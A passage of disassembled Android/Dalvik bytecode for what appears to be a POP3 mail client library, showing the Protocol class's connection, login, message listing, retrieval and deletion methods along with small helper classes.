00000004 new-array v0, v0, [C
00000008 fill-array-data v0, :14
0000000E sput-object v0, Protocol->digits:[C
00000012 return-void
00000014 .array-data 2 x 0x10
0x30
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39
0x61
0x62
0x63
0x64
0x65
0x66
.end array-data
.end method
.method constructor <init>(String, I, Z, PrintStream, Properties, String, Z)V
.registers 15
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x0
00000004 const/4 v6, 0xFFFFFFFFFFFFFFFF
00000006 invoke-direct Object-><init>()V, p0
0000000C iput-boolean v0, p0, Protocol->debug:Z
00000010 iput-object v1, p0, Protocol->apopChallenge:String
00000014 iput-boolean p3, p0, Protocol->debug:Z
00000018 iput-object p4, p0, Protocol->out:PrintStream
0000001C new-instance v1, StringBuilder
00000020 invoke-static String->valueOf(Object)String, p6
00000026 move-result-object v2
00000028 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000002E const-string v2, ".apop.enable"
00000032 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000038 move-result-object v1
0000003A invoke-virtual StringBuilder->toString()String, v1
00000040 move-result-object v1
00000042 invoke-virtual Properties->getProperty(String)String, p5, v1
00000048 move-result-object v1
0000004A if-eqz v1, :60
:4E
0000004E const-string v2, "true"
00000052 invoke-virtual String->equalsIgnoreCase(String)Z, v1, v2
00000058 move-result v1
0000005A if-eqz v1, :60
:5E
0000005E const/4 v0, 0x1
:60
00000060 if-ne p2, v6, :68
:64
00000064 const/16 p2, 0x6E
:68
00000068 if-eqz p3, :B8
:6C
0000006C new-instance v1, StringBuilder
00000070 const-string v2, "DEBUG POP3: connecting to host \""
00000074 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000007A invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
00000080 move-result-object v1
00000082 const-string v2, "\", port "
00000086 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000008C move-result-object v1
0000008E invoke-virtual StringBuilder->append(I)StringBuilder, v1, p2
00000094 move-result-object v1
00000096 const-string v2, ", isSSL "
0000009A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000A0 move-result-object v1
000000A2 invoke-virtual StringBuilder->append(Z)StringBuilder, v1, p7
000000A8 move-result-object v1
000000AA invoke-virtual StringBuilder->toString()String, v1
000000B0 move-result-object v1
000000B2 invoke-virtual PrintStream->println(String)V, p4, v1
:B8
000000B8 invoke-static SocketFetcher->getSocket(String, I, Properties, String, Z)Socket, p1, p2, p5, p6, p7
000000BE move-result-object v1
000000C0 iput-object v1, p0, Protocol->socket:Socket
000000C4 new-instance v1, DataInputStream
000000C8 new-instance v2, BufferedInputStream
000000CC iget-object v3, p0, Protocol->socket:Socket
000000D0 invoke-virtual Socket->getInputStream()InputStream, v3
000000D6 move-result-object v3
000000D8 invoke-direct BufferedInputStream-><init>(InputStream)V, v2, v3
000000DE invoke-direct DataInputStream-><init>(InputStream)V, v1, v2
000000E4 iput-object v1, p0, Protocol->input:DataInputStream
000000E8 new-instance v1, PrintWriter
000000EC new-instance v2, BufferedWriter
000000F0 new-instance v3, OutputStreamWriter
000000F4 iget-object v4, p0, Protocol->socket:Socket
000000F8 invoke-virtual Socket->getOutputStream()OutputStream, v4
000000FE move-result-object v4
00000100 const-string v5, "iso-8859-1"
00000104 invoke-direct OutputStreamWriter-><init>(OutputStream, String)V, v3, v4, v5
0000010A invoke-direct BufferedWriter-><init>(Writer)V, v2, v3
00000110 invoke-direct PrintWriter-><init>(Writer)V, v1, v2
00000116 iput-object v1, p0, Protocol->output:PrintWriter
0000011A const/4 v1, 0x0
0000011C invoke-direct Protocol->simpleCommand(String)Response, p0, v1
:122
00000122 move-result-object v1
00000124 iget-boolean v2, v1, Response->ok:Z
00000128 if-nez v2, :154
:12C
0000012C iget-object v0, p0, Protocol->socket:Socket
00000130 invoke-virtual Socket->close()V, v0
:136
00000136 new-instance v0, IOException
0000013A const-string v1, "Connect failed"
0000013E invoke-direct IOException-><init>(String)V, v0, v1
00000144 throw v0
:146
00000146 move-exception v0
:148
00000148 iget-object v1, p0, Protocol->socket:Socket
0000014C invoke-virtual Socket->close()V, v1
:152
00000152 throw v0
:154
00000154 if-eqz v0, :1C0
:158
00000158 iget-object v0, v1, Response->data:String
0000015C const/16 v2, 0x3C
00000160 invoke-virtual String->indexOf(I)I, v0, v2
00000166 move-result v0
00000168 iget-object v2, v1, Response->data:String
0000016C const/16 v3, 0x3E
00000170 invoke-virtual String->indexOf(I, I)I, v2, v3, v0
00000176 move-result v2
00000178 if-eq v0, v6, :194
:17C
0000017C if-eq v2, v6, :194
:180
00000180 iget-object v1, v1, Response->data:String
00000184 add-int/lit8 v2, v2, 0x1
00000188 invoke-virtual String->substring(I, I)String, v1, v0, v2
0000018E move-result-object v0
00000190 iput-object v0, p0, Protocol->apopChallenge:String
:194
00000194 if-eqz p3, :1C0
:198
00000198 new-instance v0, StringBuilder
0000019C const-string v1, "DEBUG POP3: APOP challenge: "
000001A0 invoke-direct StringBuilder-><init>(String)V, v0, v1
000001A6 iget-object v1, p0, Protocol->apopChallenge:String
000001AA invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000001B0 move-result-object v0
000001B2 invoke-virtual StringBuilder->toString()String, v0
000001B8 move-result-object v0
000001BA invoke-virtual PrintStream->println(String)V, p4, v0
:1C0
000001C0 return-void
:1C2
000001C2 move-exception v0
000001C4 goto :136
:1C6
000001C6 move-exception v1
000001C8 goto :152
.catch IOException {:6C .. :122} :146
.catchall {:12C .. :136} :1C2
.catchall {:148 .. :152} :1C6
.end method
.method private getDigest(String)String
.registers 6
00000000 const/4 v0, 0x0
00000002 new-instance v1, StringBuilder
00000006 iget-object v2, p0, Protocol->apopChallenge:String
0000000A invoke-static String->valueOf(Object)String, v2
00000010 move-result-object v2
00000012 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000018 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
0000001E move-result-object v1
00000020 invoke-virtual StringBuilder->toString()String, v1
00000026 move-result-object v1
:28
00000028 const-string v2, "MD5"
0000002C invoke-static MessageDigest->getInstance(String)MessageDigest, v2
00000032 move-result-object v2
00000034 const-string v3, "iso-8859-1"
00000038 invoke-virtual String->getBytes(String)[B, v1, v3
0000003E move-result-object v1
00000040 invoke-virtual MessageDigest->digest([B)[B, v2, v1
:46
00000046 move-result-object v0
00000048 invoke-static Protocol->toHex([B)String, v0
0000004E move-result-object v0
:50
00000050 return-object v0
:52
00000052 move-exception v1
00000054 goto :50
:56
00000056 move-exception v1
00000058 goto :50
.catch NoSuchAlgorithmException {:28 .. :46} :56
.catch UnsupportedEncodingException {:28 .. :46} :52
.end method
.method private multilineCommand(String, I)Response
.registers 8
00000000 const/16 v1, 0xA
00000004 invoke-direct Protocol->simpleCommand(String)Response, p0, p1
0000000A move-result-object v3
0000000C iget-boolean v0, v3, Response->ok:Z
00000010 if-nez v0, :18
:14
00000014 move-object v0, v3
:16
00000016 return-object v0
:18
00000018 new-instance v4, SharedByteArrayOutputStream
0000001C invoke-direct SharedByteArrayOutputStream-><init>(I)V, v4, p2
00000022 move v0, v1
:24
00000024 iget-object v2, p0, Protocol->input:DataInputStream
00000028 invoke-virtual DataInputStream->read()I, v2
0000002E move-result v2
00000030 if-gez v2, :48
:34
00000034 if-gez v2, :C8
:38
00000038 new-instance v0, EOFException
0000003C const-string v1, "EOF on socket"
00000040 invoke-direct EOFException-><init>(String)V, v0, v1
00000046 throw v0
:48
00000048 if-ne v0, v1, :AC
:4C
0000004C const/16 v0, 0x2E
00000050 if-ne v2, v0, :AC
:54
00000054 iget-boolean v0, p0, Protocol->debug:Z
00000058 if-eqz v0, :66
:5C
0000005C iget-object v0, p0, Protocol->out:PrintStream
00000060 invoke-virtual PrintStream->write(I)V, v0, v2
:66
00000066 iget-object v0, p0, Protocol->input:DataInputStream
0000006A invoke-virtual DataInputStream->read()I, v0
00000070 move-result v0
00000072 const/16 v2, 0xD
00000076 if-ne v0, v2, :AE
:7A
0000007A iget-boolean v1, p0, Protocol->debug:Z
0000007E if-eqz v1, :8C
:82
00000082 iget-object v1, p0, Protocol->out:PrintStream
00000086 invoke-virtual PrintStream->write(I)V, v1, v0
:8C
0000008C iget-object v0, p0, Protocol->input:DataInputStream
00000090 invoke-virtual DataInputStream->read()I, v0
00000096 move-result v2
00000098 iget-boolean v0, p0, Protocol->debug:Z
0000009C if-eqz v0, :34
:A0
000000A0 iget-object v0, p0, Protocol->out:PrintStream
000000A4 invoke-virtual PrintStream->write(I)V, v0, v2
000000AA goto :34
:AC
000000AC move v0, v2
:AE
000000AE invoke-virtual SharedByteArrayOutputStream->write(I)V, v4, v0
000000B4 iget-boolean v2, p0, Protocol->debug:Z
000000B8 if-eqz v2, :24
:BC
000000BC iget-object v2, p0, Protocol->out:PrintStream
000000C0 invoke-virtual PrintStream->write(I)V, v2, v0
000000C6 goto :24
:C8
000000C8 invoke-virtual SharedByteArrayOutputStream->toStream()InputStream, v4
000000CE move-result-object v0
000000D0 iput-object v0, v3, Response->bytes:InputStream
000000D4 move-object v0, v3
000000D6 goto :16
.end method
.method private simpleCommand(String)Response
.registers 6
00000000 iget-object v0, p0, Protocol->socket:Socket
00000004 if-nez v0, :18
:8
00000008 new-instance v0, IOException
0000000C const-string v1, "Folder is closed"
00000010 invoke-direct IOException-><init>(String)V, v0, v1
00000016 throw v0
:18
00000018 if-eqz p1, :86
:1C
0000001C iget-boolean v0, p0, Protocol->debug:Z
00000020 if-eqz v0, :4C
:24
00000024 iget-object v0, p0, Protocol->out:PrintStream
00000028 new-instance v1, StringBuilder
0000002C const-string v2, "C: "
00000030 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
0000003C move-result-object v1
0000003E invoke-virtual StringBuilder->toString()String, v1
00000044 move-result-object v1
00000046 invoke-virtual PrintStream->println(String)V, v0, v1
:4C
0000004C new-instance v0, StringBuilder
00000050 invoke-static String->valueOf(Object)String, p1
00000056 move-result-object v1
00000058 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000005E const-string v1, "\r\n"
00000062 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000068 move-result-object v0
0000006A invoke-virtual StringBuilder->toString()String, v0
00000070 move-result-object v0
00000072 iget-object v1, p0, Protocol->output:PrintWriter
00000076 invoke-virtual PrintWriter->print(String)V, v1, v0
0000007C iget-object v0, p0, Protocol->output:PrintWriter
00000080 invoke-virtual PrintWriter->flush()V, v0
:86
00000086 iget-object v0, p0, Protocol->input:DataInputStream
0000008A invoke-virtual DataInputStream->readLine()String, v0
00000090 move-result-object v0
00000092 if-nez v0, :BC
:96
00000096 iget-boolean v0, p0, Protocol->debug:Z
0000009A if-eqz v0, :AC
:9E
0000009E iget-object v0, p0, Protocol->out:PrintStream
000000A2 const-string v1, "S: EOF"
000000A6 invoke-virtual PrintStream->println(String)V, v0, v1
:AC
000000AC new-instance v0, EOFException
000000B0 const-string v1, "EOF on socket"
000000B4 invoke-direct EOFException-><init>(String)V, v0, v1
000000BA throw v0
:BC
000000BC iget-boolean v1, p0, Protocol->debug:Z
000000C0 if-eqz v1, :EC
:C4
000000C4 iget-object v1, p0, Protocol->out:PrintStream
000000C8 new-instance v2, StringBuilder
000000CC const-string v3, "S: "
000000D0 invoke-direct StringBuilder-><init>(String)V, v2, v3
000000D6 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
000000DC move-result-object v2
000000DE invoke-virtual StringBuilder->toString()String, v2
000000E4 move-result-object v2
000000E6 invoke-virtual PrintStream->println(String)V, v1, v2
:EC
000000EC new-instance v1, Response
000000F0 invoke-direct Response-><init>()V, v1
000000F6 const-string v2, "+OK"
000000FA invoke-virtual String->startsWith(String)Z, v0, v2
00000100 move-result v2
00000102 if-eqz v2, :12E
:106
00000106 const/4 v2, 0x1
00000108 iput-boolean v2, v1, Response->ok:Z
:10C
0000010C const/16 v2, 0x20
00000110 invoke-virtual String->indexOf(I)I, v0, v2
00000116 move-result v2
00000118 if-ltz v2, :12C
:11C
0000011C add-int/lit8 v2, v2, 0x1
00000120 invoke-virtual String->substring(I)String, v0, v2
00000126 move-result-object v0
00000128 iput-object v0, v1, Response->data:String
:12C
0000012C return-object v1
:12E
0000012E const-string v2, "-ERR"
00000132 invoke-virtual String->startsWith(String)Z, v0, v2
00000138 move-result v2
0000013A if-eqz v2, :146
:13E
0000013E const/4 v2, 0x0
00000140 iput-boolean v2, v1, Response->ok:Z
00000144 goto :10C
:146
00000146 new-instance v1, IOException
0000014A new-instance v2, StringBuilder
0000014E const-string v3, "Unexpected response: "
00000152 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000158 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
0000015E move-result-object v0
00000160 invoke-virtual StringBuilder->toString()String, v0
00000166 move-result-object v0
00000168 invoke-direct IOException-><init>(String)V, v1, v0
0000016E throw v1
.end method
.method private static toHex([B)String
.registers 8
00000000 const/4 v0, 0x0
00000002 array-length v1, p0
00000004 mul-int/lit8 v1, v1, 0x2
00000008 new-array v2, v1, [C
0000000C move v1, v0
:E
0000000E array-length v3, p0
00000010 if-lt v1, v3, :20
:14
00000014 new-instance v0, String
00000018 invoke-direct String-><init>([C)V, v0, v2
0000001E return-object v0
:20
00000020 aget-byte v3, p0, v1
00000024 and-int/lit16 v3, v3, 0xFF
00000028 add-int/lit8 v4, v0, 0x1
0000002C sget-object v5, Protocol->digits:[C
00000030 shr-int/lit8 v6, v3, 0x4
00000034 aget-char v5, v5, v6
00000038 aput-char v5, v2, v0
0000003C add-int/lit8 v0, v4, 0x1
00000040 sget-object v5, Protocol->digits:[C
00000044 and-int/lit8 v3, v3, 0xF
00000048 aget-char v3, v5, v3
0000004C aput-char v3, v2, v4
00000050 add-int/lit8 v1, v1, 0x1
00000054 goto :E
.end method
.method declared-synchronized dele(I)Z
.registers 4
00000000 monitor-enter p0
:2
00000002 new-instance v0, StringBuilder
00000006 const-string v1, "DELE "
0000000A invoke-direct StringBuilder-><init>(String)V, v0, v1
00000010 invoke-virtual StringBuilder->append(I)StringBuilder, v0, p1
00000016 move-result-object v0
00000018 invoke-virtual StringBuilder->toString()String, v0
0000001E move-result-object v0
00000020 invoke-direct Protocol->simpleCommand(String)Response, p0, v0
00000026 move-result-object v0
00000028 iget-boolean v0, v0, Response->ok:Z
:2C
0000002C monitor-exit p0
0000002E return v0
:30
00000030 move-exception v0
00000032 monitor-exit p0
00000034 throw v0
.catchall {:2 .. :2C} :30
.end method
.method protected finalize()V
.registers 2
00000000 invoke-super Object->finalize()V, p0
00000006 iget-object v0, p0, Protocol->socket:Socket
0000000A if-eqz v0, :14
:E
0000000E invoke-virtual Protocol->quit()Z, p0
:14
00000014 return-void
.end method
.method declared-synchronized list(I)I
.registers 5
00000000 monitor-enter p0
:2
00000002 new-instance v0, StringBuilder
00000006 const-string v1, "LIST "
0000000A invoke-direct StringBuilder-><init>(String)V, v0, v1
00000010 invoke-virtual StringBuilder->append(I)StringBuilder, v0, p1
00000016 move-result-object v0
00000018 invoke-virtual StringBuilder->toString()String, v0
0000001E move-result-object v0
00000020 invoke-direct Protocol->simpleCommand(String)Response, p0, v0
00000026 move-result-object v1
00000028 const/4 v0, 0xFFFFFFFFFFFFFFFF
0000002A iget-boolean v2, v1, Response->ok:Z
0000002E if-eqz v2, :5E
:32
00000032 iget-object v2, v1, Response->data:String
:36
00000036 if-eqz v2, :5E
:3A
0000003A new-instance v2, StringTokenizer
0000003E iget-object v1, v1, Response->data:String
00000042 invoke-direct StringTokenizer-><init>(String)V, v2, v1
00000048 invoke-virtual StringTokenizer->nextToken()String, v2
0000004E invoke-virtual StringTokenizer->nextToken()String, v2
00000054 move-result-object v1
00000056 invoke-static Integer->parseInt(String)I, v1
:5C
0000005C move-result v0
:5E
0000005E monitor-exit p0
00000060 return v0
:62
00000062 move-exception v0
00000064 monitor-exit p0
00000066 throw v0
:68
00000068 move-exception v1
0000006A goto :5E
.catchall {:2 .. :36} :62
.catch Exception {:3A .. :5C} :68
.catchall {:3A .. :5C} :62
.end method
.method declared-synchronized list()InputStream
.registers 3
00000000 monitor-enter p0
:2
00000002 const-string v0, "LIST"
00000006 const/16 v1, 0x80
0000000A invoke-direct Protocol->multilineCommand(String, I)Response, p0, v0, v1
00000010 move-result-object v0
00000012 iget-object v0, v0, Response->bytes:InputStream
:16
00000016 monitor-exit p0
00000018 return-object v0
:1A
0000001A move-exception v0
0000001C monitor-exit p0
0000001E throw v0
.catchall {:2 .. :16} :1A
.end method
.method declared-synchronized login(String, String)String
.registers 7
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 iget-object v1, p0, Protocol->apopChallenge:String
00000008 if-eqz v1, :E8
:C
0000000C invoke-direct Protocol->getDigest(String)String, p0, p2
00000012 move-result-object v1
:14
00000014 iget-object v2, p0, Protocol->apopChallenge:String
00000018 if-eqz v2, :72
:1C
0000001C if-eqz v1, :72
:20
00000020 new-instance v2, StringBuilder
00000024 const-string v3, "APOP "
00000028 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v2, p1
00000034 move-result-object v2
00000036 const-string v3, " "
0000003A invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000040 move-result-object v2
00000042 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000048 move-result-object v1
0000004A invoke-virtual StringBuilder->toString()String, v1
00000050 move-result-object v1
00000052 invoke-direct Protocol->simpleCommand(String)Response, p0, v1
00000058 move-result-object v1
:5A
0000005A iget-boolean v2, v1, Response->ok:Z
0000005E if-nez v2, :6E
:62
00000062 iget-object v0, v1, Response->data:String
00000066 if-eqz v0, :DC
:6A
0000006A iget-object v0, v1, Response->data:String
:6E
0000006E monitor-exit p0
00000070 return-object v0
:72
00000072 new-instance v1, StringBuilder
00000076 const-string v2, "USER "
0000007A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000080 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
00000086 move-result-object v1
00000088 invoke-virtual StringBuilder->toString()String, v1
0000008E move-result-object v1
00000090 invoke-direct Protocol->simpleCommand(String)Response, p0, v1
00000096 move-result-object v1
00000098 iget-boolean v2, v1, Response->ok:Z
0000009C if-nez v2, :B4
:A0
000000A0 iget-object v0, v1, Response->data:String
000000A4 if-eqz v0, :AE
:A8
000000A8 iget-object v0, v1, Response->data:String
000000AC goto :6E
:AE
000000AE const-string v0, "USER command failed"
000000B2 goto :6E
:B4
000000B4 new-instance v1, StringBuilder
000000B8 const-string v2, "PASS "
000000BC invoke-direct StringBuilder-><init>(String)V, v1, v2
000000C2 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p2
000000C8 move-result-object v1
000000CA invoke-virtual StringBuilder->toString()String, v1
000000D0 move-result-object v1
000000D2 invoke-direct Protocol->simpleCommand(String)Response, p0, v1
000000D8 move-result-object v1
000000DA goto :5A
:DC
000000DC const-string v0, "login failed"
:E0
000000E0 goto :6E
:E2
000000E2 move-exception v0
000000E4 monitor-exit p0
000000E6 throw v0
:E8
000000E8 move-object v1, v0
000000EA goto :14
.catchall {:4 .. :6E} :E2
.catchall {:72 .. :E0} :E2
.end method
.method declared-synchronized noop()Z
.registers 2
00000000 monitor-enter p0
:2
00000002 const-string v0, "NOOP"
00000006 invoke-direct Protocol->simpleCommand(String)Response, p0, v0
0000000C move-result-object v0
0000000E iget-boolean v0, v0, Response->ok:Z
:12
00000012 monitor-exit p0
00000014 return v0
:16
00000016 move-exception v0
00000018 monitor-exit p0
0000001A throw v0
.catchall {:2 .. :12} :16
.end method
.method declared-synchronized quit()Z
.registers 3
00000000 monitor-enter p0
:2
00000002 const-string v0, "QUIT"
00000006 invoke-direct Protocol->simpleCommand(String)Response, p0, v0
0000000C move-result-object v0
0000000E iget-boolean v0, v0, Response->ok:Z
:12
00000012 iget-object v1, p0, Protocol->socket:Socket
00000016 invoke-virtual Socket->close()V, v1
:1C
0000001C const/4 v1, 0x0
:1E
0000001E iput-object v1, p0, Protocol->socket:Socket
00000022 const/4 v1, 0x0
00000024 iput-object v1, p0, Protocol->input:DataInputStream
00000028 const/4 v1, 0x0
0000002A iput-object v1, p0, Protocol->output:PrintWriter
:2E
0000002E monitor-exit p0
00000030 return v0
:32
00000032 move-exception v0
:34
00000034 iget-object v1, p0, Protocol->socket:Socket
00000038 invoke-virtual Socket->close()V, v1
:3E
0000003E const/4 v1, 0x0
:40
00000040 iput-object v1, p0, Protocol->socket:Socket
00000044 const/4 v1, 0x0
00000046 iput-object v1, p0, Protocol->input:DataInputStream
0000004A const/4 v1, 0x0
0000004C iput-object v1, p0, Protocol->output:PrintWriter
00000050 throw v0
:52
00000052 move-exception v0
00000054 monitor-exit p0
00000056 throw v0
:58
00000058 move-exception v0
0000005A const/4 v1, 0x0
:5C
0000005C iput-object v1, p0, Protocol->socket:Socket
00000060 const/4 v1, 0x0
00000062 iput-object v1, p0, Protocol->input:DataInputStream
00000066 const/4 v1, 0x0
00000068 iput-object v1, p0, Protocol->output:PrintWriter
0000006C throw v0
:6E
0000006E move-exception v0
00000070 const/4 v1, 0x0
00000072 iput-object v1, p0, Protocol->socket:Socket
00000076 const/4 v1, 0x0
00000078 iput-object v1, p0, Protocol->input:DataInputStream
0000007C const/4 v1, 0x0
0000007E iput-object v1, p0, Protocol->output:PrintWriter
00000082 throw v0
.catchall {:2 .. :12} :32
.catchall {:12 .. :1C} :6E
.catchall {:1E .. :2E} :52
.catchall {:34 .. :3E} :58
.catchall {:40 .. :52} :52
.catchall {:5C .. :84} :52
.end method
.method declared-synchronized retr(I, I)InputStream
.registers 5
00000000 monitor-enter p0
:2
00000002 new-instance v0, StringBuilder
00000006 const-string v1, "RETR "
0000000A invoke-direct StringBuilder-><init>(String)V, v0, v1
00000010 invoke-virtual StringBuilder->append(I)StringBuilder, v0, p1
00000016 move-result-object v0
00000018 invoke-virtual StringBuilder->toString()String, v0
0000001E move-result-object v0
00000020 invoke-direct Protocol->multilineCommand(String, I)Response, p0, v0, p2
00000026 move-result-object v0
00000028 iget-object v0, v0, Response->bytes:InputStream
:2C
0000002C monitor-exit p0
0000002E return-object v0
:30
00000030 move-exception v0
00000032 monitor-exit p0
00000034 throw v0
.catchall {:2 .. :2C} :30
.end method
.method declared-synchronized rset()Z
.registers 2
00000000 monitor-enter p0
:2
00000002 const-string v0, "RSET"
00000006 invoke-direct Protocol->simpleCommand(String)Response, p0, v0
0000000C move-result-object v0
0000000E iget-boolean v0, v0, Response->ok:Z
:12
00000012 monitor-exit p0
00000014 return v0
:16
00000016 move-exception v0
00000018 monitor-exit p0
0000001A throw v0
.catchall {:2 .. :12} :16
.end method
.method declared-synchronized stat()Status
.registers 4
00000000 monitor-enter p0
:2
00000002 const-string v0, "STAT"
00000006 invoke-direct Protocol->simpleCommand(String)Response, p0, v0
0000000C move-result-object v0
0000000E new-instance v1, Status
00000012 invoke-direct Status-><init>()V, v1
00000018 iget-boolean v2, v0, Response->ok:Z
0000001C if-eqz v2, :5E
:20
00000020 iget-object v2, v0, Response->data:String
:24
00000024 if-eqz v2, :5E
:28
00000028 new-instance v2, StringTokenizer
0000002C iget-object v0, v0, Response->data:String
00000030 invoke-direct StringTokenizer-><init>(String)V, v2, v0
00000036 invoke-virtual StringTokenizer->nextToken()String, v2
0000003C move-result-object v0
0000003E invoke-static Integer->parseInt(String)I, v0
00000044 move-result v0
00000046 iput v0, v1, Status->total:I
0000004A invoke-virtual StringTokenizer->nextToken()String, v2
00000050 move-result-object v0
00000052 invoke-static Integer->parseInt(String)I, v0
00000058 move-result v0
0000005A iput v0, v1, Status->size:I
:5E
0000005E monitor-exit p0
00000060 return-object v1
:62
00000062 move-exception v0
00000064 monitor-exit p0
00000066 throw v0
:68
00000068 move-exception v0
0000006A goto :5E
.catchall {:2 .. :24} :62
.catch Exception {:28 .. :5E} :68
.catchall {:28 .. :5E} :62
.end method
.method declared-synchronized top(I, I)InputStream
.registers 5
00000000 monitor-enter p0
:2
00000002 new-instance v0, StringBuilder
00000006 const-string v1, "TOP "
0000000A invoke-direct StringBuilder-><init>(String)V, v0, v1
00000010 invoke-virtual StringBuilder->append(I)StringBuilder, v0, p1
00000016 move-result-object v0
00000018 const-string v1, " "
0000001C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000022 move-result-object v0
00000024 invoke-virtual StringBuilder->append(I)StringBuilder, v0, p2
0000002A move-result-object v0
0000002C invoke-virtual StringBuilder->toString()String, v0
00000032 move-result-object v0
00000034 const/4 v1, 0x0
00000036 invoke-direct Protocol->multilineCommand(String, I)Response, p0, v0, v1
0000003C move-result-object v0
0000003E iget-object v0, v0, Response->bytes:InputStream
:42
00000042 monitor-exit p0
00000044 return-object v0
:46
00000046 move-exception v0
00000048 monitor-exit p0
0000004A throw v0
.catchall {:2 .. :42} :46
.end method
.method declared-synchronized uidl(I)String
.registers 6
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 new-instance v1, StringBuilder
00000008 const-string v2, "UIDL "
0000000C invoke-direct StringBuilder-><init>(String)V, v1, v2
00000012 invoke-virtual StringBuilder->append(I)StringBuilder, v1, p1
00000018 move-result-object v1
0000001A invoke-virtual StringBuilder->toString()String, v1
00000020 move-result-object v1
00000022 invoke-direct Protocol->simpleCommand(String)Response, p0, v1
00000028 move-result-object v1
0000002A iget-boolean v2, v1, Response->ok:Z
:2E
0000002E if-nez v2, :36
:32
00000032 monitor-exit p0
00000034 return-object v0
:36
00000036 iget-object v2, v1, Response->data:String
0000003A const/16 v3, 0x20
0000003E invoke-virtual String->indexOf(I)I, v2, v3
00000044 move-result v2
00000046 if-lez v2, :32
:4A
0000004A iget-object v0, v1, Response->data:String
0000004E add-int/lit8 v1, v2, 0x1
00000052 invoke-virtual String->substring(I)String, v0, v1
:58
00000058 move-result-object v0
0000005A goto :32
:5C
0000005C move-exception v0
0000005E monitor-exit p0
00000060 throw v0
.catchall {:4 .. :2E} :5C
.catchall {:36 .. :58} :5C
.end method
.method declared-synchronized uidl([String)Z
.registers 8
00000000 const/4 v1, 0x1
00000002 const/4 v0, 0x0
00000004 monitor-enter p0
:6
00000006 const-string v2, "UIDL"
0000000A array-length v3, p1
0000000C mul-int/lit8 v3, v3, 0xF
00000010 invoke-direct Protocol->multilineCommand(String, I)Response, p0, v2, v3
00000016 move-result-object v2
00000018 iget-boolean v3, v2, Response->ok:Z
:1C
0000001C if-nez v3, :24
:20
00000020 monitor-exit p0
00000022 return v0
:24
00000024 new-instance v0, LineInputStream
00000028 iget-object v2, v2, Response->bytes:InputStream
0000002C invoke-direct LineInputStream-><init>(InputStream)V, v0, v2
:32
00000032 invoke-virtual LineInputStream->readLine()String, v0
00000038 move-result-object v2
0000003A if-nez v2, :42
:3E
0000003E move v0, v1
00000040 goto :20
:42
00000042 const/16 v3, 0x20
00000046 invoke-virtual String->indexOf(I)I, v2, v3
0000004C move-result v3
0000004E if-lt v3, v1, :32
:52
00000052 invoke-virtual String->length()I, v2
00000058 move-result v4
0000005A if-ge v3, v4, :32
:5E
0000005E const/4 v4, 0x0
00000060 invoke-virtual String->substring(I, I)String, v2, v4, v3
00000066 move-result-object v4
00000068 invoke-static Integer->parseInt(String)I, v4
0000006E move-result v4
00000070 if-lez v4, :32
:74
00000074 array-length v5, p1
00000076 if-gt v4, v5, :32
:7A
0000007A add-int/lit8 v4, v4, 0xFFFFFFFFFFFFFFFF
0000007E add-int/lit8 v3, v3, 0x1
00000082 invoke-virtual String->substring(I)String, v2, v3
00000088 move-result-object v2
0000008A aput-object v2, p1, v4
:8E
0000008E goto :32
:90
00000090 move-exception v0
00000092 monitor-exit p0
00000094 throw v0
.catchall {:6 .. :1C} :90
.catchall {:24 .. :8E} :90
.end method
#--------------------------------------------------------------------------------
.class Response
.super Object
.source ""
.field bytes:InputStream
.field data:String
.field ok:Z
.method constructor <init>()V
.registers 3
00000000 const/4 v1, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 const/4 v0, 0x0
0000000A iput-boolean v0, p0, Response->ok:Z
0000000E iput-object v1, p0, Response->data:String
00000012 iput-object v1, p0, Response->bytes:InputStream
00000016 return-void
.end method
#--------------------------------------------------------------------------------
.class SharedByteArrayOutputStream
.super ByteArrayOutputStream
.source ""
.method public constructor <init>(I)V
.registers 2
00000000 invoke-direct ByteArrayOutputStream-><init>(I)V, p0, p1
00000006 return-void
.end method
.method public toStream()InputStream
.registers 5
00000000 new-instance v0, SharedByteArrayInputStream
00000004 iget-object v1, p0, SharedByteArrayOutputStream->buf:[B
00000008 const/4 v2, 0x0
0000000A iget v3, p0, SharedByteArrayOutputStream->count:I
0000000E invoke-direct SharedByteArrayInputStream-><init>([B, I, I)V, v0, v1, v2, v3
00000014 return-object v0
.end method
#--------------------------------------------------------------------------------
.class Status
.super Object
.source ""
.field size:I
.field total:I
.method constructor <init>()V
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput v0, p0, Status->total:I
0000000C iput v0, p0, Status->size:I
00000010 return-void
.end method
#--------------------------------------------------------------------------------
.class public DigestMD5
.super Object
.source ""
.field private static digits:[C
.field private clientResponse:String
.field private debugout:PrintStream
.field private md5:MessageDigest
.field private uri:String
.method static constructor <clinit>()V
.registers 1
00000000 const/16 v0, 0x10
00000004 new-array v0, v0, [C
00000008 fill-array-data v0, :14
0000000E sput-object v0, DigestMD5->digits:[C
00000012 return-void
00000014 .array-data 2 x 0x10
0x30
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39
0x61
0x62
0x63
0x64
0x65
